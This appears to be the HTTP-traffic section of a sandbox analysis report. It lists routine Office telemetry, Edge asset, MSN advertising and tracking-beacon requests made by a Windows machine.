Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732320871730&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=175F64EB34B4667D05E971AB35C6675C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=175F64EB34B4667D05E971AB35C6675C&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=1f0622c66e95496df030842afda9290a HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732320871730&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=175F64EB34B4667D05E971AB35C6675C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=13D667ef23f1ce4166d46aa1732320873; XID=13D667ef23f1ce4166d46aa1732320873
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=175F64EB34B4667D05E971AB35C6675C&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=08fdf80b609140918adbbba7f5c18d19 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732320871730&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=31deaf9c9b664048bcc3202cc5a3eb10&activityId=31deaf9c9b664048bcc3202cc5a3eb10&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E058991A9E4746FE894F8451A12435C8&MUID=175F64EB34B4667D05E971AB35C6675C HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
